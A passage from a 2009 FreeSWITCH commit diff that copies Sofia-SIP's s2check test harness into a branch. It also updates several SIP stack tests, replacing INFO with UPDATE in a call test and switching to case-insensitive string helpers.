+  next->msg = msg;
+  next->sip = sip_object(msg);
+  next->when = now;
+  next->tport = tport_ref(tp);
+
+#if 0
+  if (next->sip->sip_request)
+    printf("%s: sent: %s\n", s2tester, next->sip->sip_request->rq_method_name);
+  else
+    printf("%s: sent: SIP/2.0 %u %s\n", s2tester,
+	   next->sip->sip_status->st_status,
+	   next->sip->sip_status->st_phrase);
+#endif
+
+  for (prev = &s2->received; *prev; prev = &(*prev)->next)
+    ;
+
+  next->prev = prev, *prev = next;
+}
+
+static void
+s2_sip_stack_error(struct s2sip *s2,
+	       tport_t *tp,
+	       int errcode,
+	       char const *remote)
+{
+  fprintf(stderr, "%s(%p): error %d (%s) from %s\n",
+	  "s2_sip_error",
+	  (void *)tp, errcode, su_strerror(errcode),
+	  remote ? remote : "<unknown destination>");
+}
+
+static msg_t *
+s2_sip_stack_alloc(struct s2sip *s2sip, int flags,
+	       char const data[], usize_t size,
+	       tport_t const *tport,
+	       tp_client_t *tpc)
+{
+  return msg_create(s2sip->mclass, flags | s2sip->flags);
+}
+
+static msg_t *
+s2_msg(int flags)
+{
+  return msg_create(s2sip->mclass, flags | s2sip->flags);
+}
+
+tp_stack_class_t const s2_sip_stack[1] =
+  {{
+      /* tpac_size */ (sizeof s2_sip_stack),
+      /* tpac_recv */  s2_sip_stack_recv,
+      /* tpac_error */ s2_sip_stack_error,
+      /* tpac_alloc */ s2_sip_stack_alloc,
+  }};
+
+static char const *default_protocols[] = { "udp", "tcp", NULL };
+
+/** Setup for SIP transports  */
+void s2_sip_setup(char const *hostname,
+		 char const * const *protocols,
+		 tag_type_t tag, tag_value_t value, ...)
+{
+  su_home_t *home;
+  ta_list ta;
+  tp_name_t tpn[1];
+  int bound;
+  tport_t *tp;
+
+  assert(s2base != NULL);
+  assert(s2sip == NULL);
+
+  s2sip = su_home_new(sizeof *s2sip);
+  home = s2sip->home;
+
+  s2sip->root = su_root_clone(s2base->root, s2sip);
+
+  s2sip->aor = sip_from_format(home, "Bob <sip:bob@%s>",
+			       hostname ? hostname : "example.net");
+  if (hostname == NULL)
+    hostname = "127.0.0.1";
+  s2sip->hostname = hostname;
+  s2sip->tid = (unsigned long)time(NULL) * 510633671UL;
+
+  ta_start(ta, tag, value);
+
+  s2sip->master = tport_tcreate(s2sip, s2_sip_stack, s2sip->root,
+				TPTAG_LOG(getenv("S2_TPORT_LOG") != NULL),
+				ta_tags(ta));
+  assert(s2sip->master);
+  s2sip->mclass = sip_default_mclass();
+  s2sip->flags = 0;
+
+  memset(tpn, 0, (sizeof tpn));
+  tpn->tpn_proto = "*";
+  tpn->tpn_host = "*";
+  tpn->tpn_port = "*";
+
+  if (protocols == NULL)
+    protocols = default_protocols;
+
+  bound = tport_tbind(s2sip->master, tpn, protocols,
+		      TPTAG_SERVER(1),
+		      ta_tags(ta));
+  assert(bound != -1);
+
+  tp = tport_primaries(s2sip->master);
+
+  *tpn = *tport_name(tp);
+  s2sip->contact = sip_contact_format(home, "<sip:%s:%s>",
+				      tpn->tpn_host,
+				      tpn->tpn_port);
+
+  for (;tp; tp = tport_next(tp)) {
+    sip_via_t *v;
+    sip_contact_t *m;
+    tp_magic_t *magic;
+
+    if (tport_magic(tp))
+      continue;
+
+    *tpn = *tport_name(tp);
+
+    v = sip_via_format(home, "SIP/2.0/%s %s:%s",
+		       tpn->tpn_proto,
+		       tpn->tpn_host,
+		       tpn->tpn_port);
+    assert(v != NULL);
+    if (!su_casenmatch(tpn->tpn_proto, "tls", 3)) {
+      m = sip_contact_format(home, "<sip:%s:%s;transport=%s>",
+			     tpn->tpn_host,
+			     tpn->tpn_port,
+			     tpn->tpn_proto);
+      if (s2sip->udp.contact == NULL && su_casematch(tpn->tpn_proto, "udp")) {
+	s2sip->udp.tport = tport_ref(tp);
+	s2sip->udp.contact = m;
+      }
+      if (s2sip->tcp.contact == NULL && su_casematch(tpn->tpn_proto, "tcp")) {
+	s2sip->tcp.tport = tport_ref(tp);
+	s2sip->tcp.contact = m;
+      }
+    }
+    else if (!su_casematch(tpn->tpn_proto, "tls")) {
+      m = sip_contact_format(s2sip->home, "<sips:%s:%s;transport=%s>",
+			     tpn->tpn_host,
+			     tpn->tpn_port,
+			     tpn->tpn_proto);
+    }
+    else {
+      m = sip_contact_format(s2sip->home, "<sips:%s:%s>",
+			     tpn->tpn_host,
+			     tpn->tpn_port);
+      if (s2sip->tls.contact == NULL) {
+	s2sip->tls.tport = tport_ref(tp);
+	s2sip->tls.contact = m;
+      }
+    }
+    assert(m != NULL);
+
+    magic = su_zalloc(home, (sizeof *magic));
+    magic->via = v, magic->contact = m;
+
+    if (s2sip->contact == NULL)
+      s2sip->contact = m;
+
+    tport_set_magic(tp, magic);
+  }
+}
+
+void
+s2_sip_teardown(void)
+{
+  if (s2sip) {
+    tport_destroy(s2sip->master), s2sip->master = NULL;
+    su_root_destroy(s2sip->root), s2sip->root = NULL;
+    su_home_unref(s2sip->home);
+    s2sip = NULL;
+  }
+}

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.h

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2sip.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,123 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ */
+
+#ifndef S2SIP_H
+#define S2SIP_H
+
+#include <sofia-sip/su_wait.h>
+#include <sofia-sip/sip.h>
+#include <sofia-sip/tport.h>
+
+#include "s2util.h"
+
+extern struct s2sip
+{
+  su_home_t home[1];
+
+  su_root_t *root;
+  msg_mclass_t const *mclass;
+  int flags;
+
+  int server_uses_rport;
+
+  char const *hostname;
+  tport_t *master;
+
+  sip_to_t *aor;
+  sip_contact_t *contact;
+
+  struct {
+    sip_contact_t *contact;
+    tport_t *tport;
+  } udp, tcp, tls;
+
+  struct {
+    sip_to_t *aor;
+    sip_contact_t *contact;
+    tport_t *tport;
+  } sut;
+
+  struct message {
+    struct message *next, **prev;
+    msg_t *msg;
+    sip_t *sip;
+    tport_t *tport;
+    su_time_t when;
+  } *received;
+
+  unsigned long tid;
+} *s2sip;
+
+struct dialog
+{
+  su_home_t home[1];
+  sip_from_t *local;
+  sip_to_t *remote;
+  sip_call_id_t *call_id;
+  uint32_t lseq, rseq;
+  sip_contact_t *target;
+  sip_route_t *route;
+  sip_contact_t *contact;
+
+  tport_t *tport;
+  msg_t *invite;		/* latest invite sent */
+};
+
+extern tp_stack_class_t const s2_sip_stack[1];
+
+char *s2_sip_generate_tag(su_home_t *home);
+
+struct message *s2_sip_remove_message(struct message *m);
+void s2_sip_free_message(struct message *m);
+void s2_sip_flush_messages(void);
+
+struct message *s2_sip_next_response(void);
+struct message *s2_sip_wait_for_response(int status, sip_method_t , char const *);
+int s2_sip_check_response(int status, sip_method_t method, char const *name);
+
+struct message *s2_sip_next_request(sip_method_t method, char const *name);
+struct message *s2_sip_wait_for_request(sip_method_t method, char const *name);
+struct message *s2_sip_wait_for_request_timeout(sip_method_t, char const *,
+					    unsigned timeout);
+int s2_sip_check_request(sip_method_t method, char const *name);
+int s2_sip_check_request_timeout(sip_method_t method, char const *, unsigned timeout);
+
+void s2_sip_save_uas_dialog(struct dialog *d, sip_t *sip);
+
+struct message *s2_sip_respond_to(struct message *m, struct dialog *d,
+			      int status, char const *phrase,
+			      tag_type_t tag, tag_value_t value, ...);
+
+int s2_sip_request_to(struct dialog *d,
+		  sip_method_t method, char const *name,
+		  tport_t *tport,
+		  tag_type_t tag, tag_value_t value, ...);
+
+int s2_sip_update_dialog(struct dialog *d, struct message *response);
+
+void s2_sip_setup(char const *hostname,
+		 char const * const *protocols,
+		 tag_type_t tag, tag_value_t value, ...);
+void s2_sip_teardown(void);
+
+#endif

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2tcase.c

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2tcase.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2tcase.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2tcase.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2tcase.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,123 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#include "config.h"
+
+#if HAVE_CHECK
+
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <assert.h>
+
+#include <check.h>
+
+#if HAVE_FNMATCH_H
+#include <fnmatch.h>
+#endif
+
+static char const * const default_patterns[] = { "*", NULL };
+static char const * const *test_patterns = default_patterns;
+
+/** tcase_add_test() replacement.
+ *
+ * A special version of tcase_add_test() that inserts test function into
+ * tcase only if its name matches given pattern.
+ */
+void s2_tcase_add_test(TCase *tc, TFun tf, char const *name,
+		       int signo, int start, int end)
+{
+  char const * const *patterns;
+
+#if HAVE_FNMATCH_H
+  for (patterns = test_patterns; *patterns; patterns++) {
+    if (!fnmatch(*patterns, name, 0)) {
+      if (strcmp(*patterns, "*")) {
+	printf("%s: selected\n", name);
+      }
+      _tcase_add_test(tc, tf, name, signo, start, end);
+      return;
+    }
+  }
+#else
+  for (patterns = test_patterns; *patterns; patterns++) {
+    if (!strcmp(*patterns, name) || !strcmp(*patterns, "*")) {
+      if (strcmp(*patterns, "*")) {
+	printf("%s: selected\n", name);
+      }
+      _tcase_add_test(tc, tf, name, signo, start, end);
+      return;
+    }
+  }
+#endif
+}
+
+/** Select tests based on pattern.
+ *
+ * Allow easy selection of test cases to run. Pattern can be a shell glob,
+ * or consists of multiple comma-separated patterns.
+ */
+void s2_select_tests(char const *pattern)
+{
+  size_t i, n;
+  char *cases, *s, **patterns;
+
+  if (!pattern)
+    return;
+
+  cases = strdup(pattern);
+
+  /* Count commas */
+  for (i = 2, s = cases; (s = strchr(s, ',')); s++)
+    i++;
+
+  if (test_patterns != default_patterns) {
+    patterns = (char **)test_patterns;
+    for (n = 0; patterns[n]; n++)
+      ;
+    patterns = realloc(patterns, (n + i) * (sizeof *patterns));
+  }
+  else {
+    n = 0;
+    patterns = malloc(i * (sizeof *patterns));
+  }
+
+  assert(patterns);
+  memset(&patterns[n], 0, i * (sizeof *patterns));
+
+  /* Split by commas */
+  for (i = n, s = cases;; i++) {
+    patterns[i] = s;
+    if (s == NULL)
+      break;
+    s = strchr(s, ',');
+    if (s)
+      *s++ = '\0';
+  }
+
+  test_patterns = (char const * const *)patterns;
+}
+
+#endif	/* HAVE_CHECK */

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2time.c

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2time.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2time.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2time.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2time.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,74 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#include "config.h"
+
+#include "s2util.h"
+
+#include <string.h>
+#include <stdio.h>
+
+/* -- Delay scenarios --------------------------------------------------- */
+
+static unsigned long time_offset;
+
+extern void (*_su_time)(su_time_t *tv);
+
+static void _su_time_fast_forwarder(su_time_t *tv)
+{
+  tv->tv_sec += time_offset;
+}
+
+void s2_fast_forward(unsigned long seconds,
+		     su_root_t *root)
+{
+  if (_su_time == NULL)
+    _su_time = _su_time_fast_forwarder;
+
+  time_offset += seconds;
+
+  if (root)
+    su_root_step(root, 0);
+}
+
+void
+s2_timed_logger(void *stream, char const *fmt, va_list ap)
+{
+  char buffer[4096];
+  su_time_t now = su_now();
+  size_t prefix, wrote;
+  int n;
+
+  snprintf(buffer, sizeof buffer,
+	   "%02u:%02u:%02u.%06lu[+%lu] ",
+	   (unsigned)(now.tv_sec / 3600 % 24),
+	   (unsigned)(now.tv_sec / 60 % 60),
+	   (unsigned)(now.tv_sec % 60),
+	   now.tv_usec,
+	   time_offset);
+  prefix = strlen(buffer);
+  n = vsnprintf(buffer + prefix, (sizeof buffer) - prefix, fmt, ap);
+  if (n > 0)
+    wrote = fwrite(buffer, prefix + n, 1, stream);
+}

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2util.h

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2util.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2util.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2util.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2util.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef S2UTIL_H
+/** Defined when <s2util.h> has been included. */
+#define S2UTIL_H
+
+/**@internal @file s2util.h
+ *
+ * @brief Miscellaneous testing utilities
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ */
+
+#include <sofia-sip/su_wait.h>
+#include <stdarg.h>
+
+SOFIA_BEGIN_DECLS
+
+void s2_fast_forward(unsigned long seconds, su_root_t *root);
+void s2_timed_logger(void *stream, char const *fmt, va_list ap);
+
+SOFIA_END_DECLS
+
+#endif /* S2UTIL_H */

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,8 +33,8 @@
 libtestnat_a_SOURCES =	test_nat.h test_nat.c test_nat_tags.c
 
 if HAVE_CHECK
-TESTS += check_sofia
-check_PROGRAMS += check_sofia
+TESTS += check_dlopen_sofia check_sofia
+check_PROGRAMS += check_dlopen_sofia check_sofia
 endif
 
 check_sofia_CFLAGS = @CHECK_CFLAGS@
@@ -46,6 +46,9 @@
 			${sofiabuilddir}/libsofia-sip-ua.la \
 			@CHECK_LIBS@
 
+check_dlopen_sofia_CFLAGS = -I$(top_srcdir)/s2check @CHECK_CFLAGS@
+check_dlopen_sofia_LDADD = ${top_builddir}/s2check/libs2.a @CHECK_LIBS@
+
 CLEANFILES =            tmp_sippasswd.??????
 
 # ----------------------------------------------------------------------

Copied: freeswitch/branches/seven/libs/sofia-sip/tests/check_dlopen_sofia.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/tests/check_dlopen_sofia.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/check_dlopen_sofia.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/check_dlopen_sofia.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,124 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE check_dlopen_sofia.c
+ *
+ * @brief Check dlopen()ing and dlclose() with libsofia-sip-ua
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @copyright (C) 2009 Nokia Corporation.
+ */
+
+#include "config.h"
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+#include <assert.h>
+
+#if HAVE_CHECK && HAVE_LIBDL
+
+#include <check.h>
+#include <s2check.h>
+
+#include <sofia-sip/su_types.h>
+#include <dlfcn.h>
+
+static uint64_t (*su_random64)(void);
+
+START_TEST(load_su_uniqueid)
+{
+  void *sofia;
+  uint64_t rnd;
+
+  sofia = dlopen("../libsofia-sip-ua/.libs/libsofia-sip-ua.so", RTLD_NOW);
+  su_random64 = dlsym(sofia, "su_random64");
+  fail_unless(su_random64 != NULL);
+  rnd = su_random64();
+  fail_unless(sofia !=	NULL);
+  fail_unless(dlclose(sofia) == 0);
+}
+END_TEST
+
+TCase *dl_tcase(void)
+{
+  TCase *tc = tcase_create("1 - dlopen/dlclose");
+
+  tcase_add_test(tc, load_su_uniqueid);
+
+  return tc;
+}
+
+/* ---------------------------------------------------------------------- */
+
+static void usage(int exitcode)
+{
+  fprintf(exitcode ? stderr : stdout,
+	  "usage: check_dlopen_sofia [--xml=logfile] case,...\n");
+  exit(exitcode);
+}
+
+int main(int argc, char *argv[])
+{
+  int i, failed = 0;
+
+  Suite *suite = suite_create("dlopen()ing and dlclose() with libsofia-sip-ua");
+  SRunner *runner;
+  char const *xml = NULL;
+
+  s2_select_tests(getenv("CHECK_CASES"));
+
+  for (i = 1; argv[i]; i++) {
+    if (strncmp(argv[i], "--xml=", strlen("--xml=")) == 0) {
+      xml = argv[i] + strlen("--xml=");
+    }
+    else if (strcmp(argv[i], "--xml") == 0) {
+      if (!(xml = argv[++i]))
+	usage(2);
+    }
+    else if (strcmp(argv[i], "-?") == 0 ||
+	     strcmp(argv[i], "-h") == 0 ||
+	     strcmp(argv[i], "--help") == 0)
+      usage(0);
+    else
+      s2_select_tests(argv[i]);
+  }
+
+  suite_add_tcase(suite, dl_tcase());
+
+  runner = srunner_create(suite);
+  if (xml)
+    srunner_set_xml(runner, xml);
+  srunner_run_all(runner, CK_ENV);
+  failed = srunner_ntests_failed(runner);
+  srunner_free(runner);
+
+  exit(failed ? EXIT_FAILURE : EXIT_SUCCESS);
+}
+
+#else
+int main(void) { return 77; }
+#endif

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/test_basic_call.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/test_basic_call.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/test_basic_call.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -567,7 +567,9 @@
   TEST_1(e = e->next); TEST_E(e->data->e_event, nua_i_state);
   TEST(callstate(e->data->e_tags), nua_callstate_terminated); /* TERMINATED */
   TEST_1(e = e->next); TEST_E(e->data->e_event, nua_r_info);
-  TEST_1(e->data->e_status >= 900 || e->data->e_status == 481);
+  TEST_1(e->data->e_status >= 900 || e->data->e_status == 481 ||
+	 /* INFO received outside dialog where it is Allow:ed */
+	 e->data->e_status == 405);
   TEST_1(!e->next);
   free_events_in_list(ctx, b->events);
 
@@ -1656,7 +1658,7 @@
    Server transitions:
    INIT -(S1)-> RECEIVED -(S2a)-> EARLY -(S3b)-> COMPLETED -(S4)-> READY
 
-   A send INFO:
+   A sends UPDATE:
    READY -(T1)-> TERMINATED
 
    B sends BYE:
@@ -1665,7 +1667,7 @@
    See @page nua_call_model in nua.docs for more information
 */
 int reject_method(CONDITION_PARAMS);
-int reject_info(CONDITION_PARAMS);
+int reject_update(CONDITION_PARAMS);
 
 int test_basic_call_7(struct context *ctx)
 {
@@ -1791,6 +1793,8 @@
   TEST_1(!nua_handle_has_active_call(a_call->nh));
 
   TEST_1(e = b->events->head); TEST_E(e->data->e_event, nua_i_method);
+  if (e->next == NULL)
+    run_b_until(ctx, nua_i_state, NULL);
   TEST_1(e = e->next); TEST_E(e->data->e_event, nua_i_state);
   TEST(callstate(e->data->e_tags), nua_callstate_terminated); /* TERMINATED */
   TEST_1(!e->next);
@@ -1895,19 +1899,21 @@
   TEST_1(!e->next);
   free_events_in_list(ctx, b->events);
 
-  /* Let A allow INFO  */
-  nua_set_params(a->nua, NUTAG_ALLOW("INFO"), TAG_END());
-  /* Make B to process INFO at application level */
-  nua_set_hparams(b_call->nh, NUTAG_APPL_METHOD("INFO"),
-		  NUTAG_ALLOW("INFO"),
+  /* Let A allow UPDATE  */
+  nua_set_params(a->nua, NUTAG_ALLOW("UPDATE"), TAG_END());
+  /* Make B to process UPDATE at application level */
+  nua_set_hparams(b_call->nh, NUTAG_APPL_METHOD("UPDATE"),
+		  NUTAG_ALLOW("UPDATE"),
 		  TAG_END());
   run_ab_until(ctx, nua_r_set_params, NULL, nua_r_set_params, NULL);
 
-  INFO(a, a_call, a_call->nh, TAG_END());
+  UPDATE(a, a_call, a_call->nh, TAG_END());
 
-  run_ab_until(ctx, -1, until_terminated, -1, reject_info);
+  run_ab_until(ctx, -1, until_terminated, -1, reject_update);
 
-  TEST_1(e = a->events->head);  TEST_E(e->data->e_event, nua_r_info);
+  TEST_1(e = a->events->head); TEST_E(e->data->e_event, nua_i_state);
+  TEST(callstate(e->data->e_tags), nua_callstate_calling);
+  TEST_1(e = e->next); TEST_E(e->data->e_event, nua_r_update);
   TEST_1(e = e->next); TEST_E(e->data->e_event, nua_i_state);
   TEST(callstate(e->data->e_tags), nua_callstate_terminated); /* TERMINATED */
   TEST_1(!e->next);
@@ -1915,11 +1921,17 @@
 
   TEST_1(!nua_handle_has_active_call(a_call->nh));
 
-  TEST_1(e = b->events->head); TEST_E(e->data->e_event, nua_i_info);
+  TEST_1(e = b->events->head); TEST_E(e->data->e_event, nua_i_update);
+  TEST_1(e = e->next); TEST_E(e->data->e_event, nua_i_state);
+  TEST(callstate(e->data->e_tags), nua_callstate_received); /* TERMINATED */
+  TEST_1(e = e->next); TEST_E(e->data->e_event, nua_i_state);
+  TEST(callstate(e->data->e_tags), nua_callstate_terminated); /* TERMINATED */
   TEST_1(!e->next);
   free_events_in_list(ctx, b->events);
 
-  TEST_1(nua_handle_has_active_call(b_call->nh));
+#if nomore
+  /* Used to use INFO instead of UPDATE and INFO was asymmetric */
+  TEST_1(!nua_handle_has_active_call(b_call->nh));
 
   INFO(b, b_call, b_call->nh, TAG_END());
   run_b_until(ctx, -1, until_terminated);
@@ -1933,6 +1945,7 @@
   TEST(callstate(e->data->e_tags), nua_callstate_terminated); /* TERMINATED */
   TEST_1(!e->next);
   free_events_in_list(ctx, b->events);
+#endif
 
   TEST_1(!nua_handle_has_active_call(b_call->nh));
 
@@ -1964,7 +1977,7 @@
   return 0;
 }
 
-int reject_info(CONDITION_PARAMS)
+int reject_update(CONDITION_PARAMS)
 {
   msg_t *current = nua_current_request(nua);
 
@@ -1973,7 +1986,7 @@
 
   save_event_in_list(ctx, event, ep, call);
 
-  if (event == nua_i_info) {
+  if (event == nua_i_update) {
     RESPOND(ep, call, nh,
 	    SIP_480_TEMPORARILY_UNAVAILABLE,
 	    NUTAG_WITH(current),

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/test_call_reject.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/test_call_reject.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/test_call_reject.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1254,7 +1254,7 @@
 {
   (void)arg;
 
-  if (len >= 11 && strncasecmp(message, "SIP/2.0 200", 11) == 0)
+  if (len >= 11 && su_casenmatch(message, "SIP/2.0 200", 11))
     return 0;
   return len;
 }
@@ -1263,7 +1263,7 @@
 {
   (void)arg;
 
-  if (len >= 7 && strncasecmp(message, "ACK sip", 7) == 0)
+  if (len >= 7 && su_casenmatch(message, "ACK sip", 7))
     return 0;
   return len;
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/test_cancel_bye.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/test_cancel_bye.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/test_cancel_bye.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -945,7 +945,7 @@
 {
   (void)arg;
 
-  if (strncasecmp(message, "ACK sip:", 8) == 0)
+  if (su_casenmatch(message, "ACK sip:", 8))
     ack_sent++;
 
   return len;

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/test_nua.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/test_nua.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/test_nua.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -100,7 +100,7 @@
   "   -k                do not exit after first error\n"
   ;
 
-void usage(int exitcode)
+static void usage(int exitcode)
 {
   fprintf(stderr, "usage: %s OPTIONS\n   where OPTIONS are\n%s",
 	    name, options_usage);

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/test_nua.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/test_nua.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/test_nua.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -50,6 +50,7 @@
 #include <sofia-sip/su_log.h>
 #include <sofia-sip/su_tagarg.h>
 #include <sofia-sip/su_tag_io.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/nua_tag.h>
 
 #if __APPLE_CC__

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/test_nua_api.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/test_nua_api.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/test_nua_api.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -94,7 +94,7 @@
   TEST_1(!nua_handle_has_registrations(NULL));
   TEST_1(!nua_handle_remote(NULL));
   TEST_1(!nua_handle_local(NULL));
-  TEST_S(nua_event_name(-1), "NUA_UNKNOWN");
+  TEST_S(nua_event_name(-111), "NUA_UNKNOWN");
   TEST_VOID(nua_register(NULL, TAG_END()));
   TEST_VOID(nua_unregister(NULL, TAG_END()));
   TEST_VOID(nua_invite(NULL, TAG_END()));

Modified: freeswitch/branches/seven/libs/sofia-sip/tests/test_proxy.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/tests/test_proxy.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/tests/test_proxy.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -688,7 +688,7 @@
     char const *proto = v->v_protocol;
 
     if (v->v_next &&
-	strcasecmp(v->v_host, v->v_next->v_host) == 0 &&
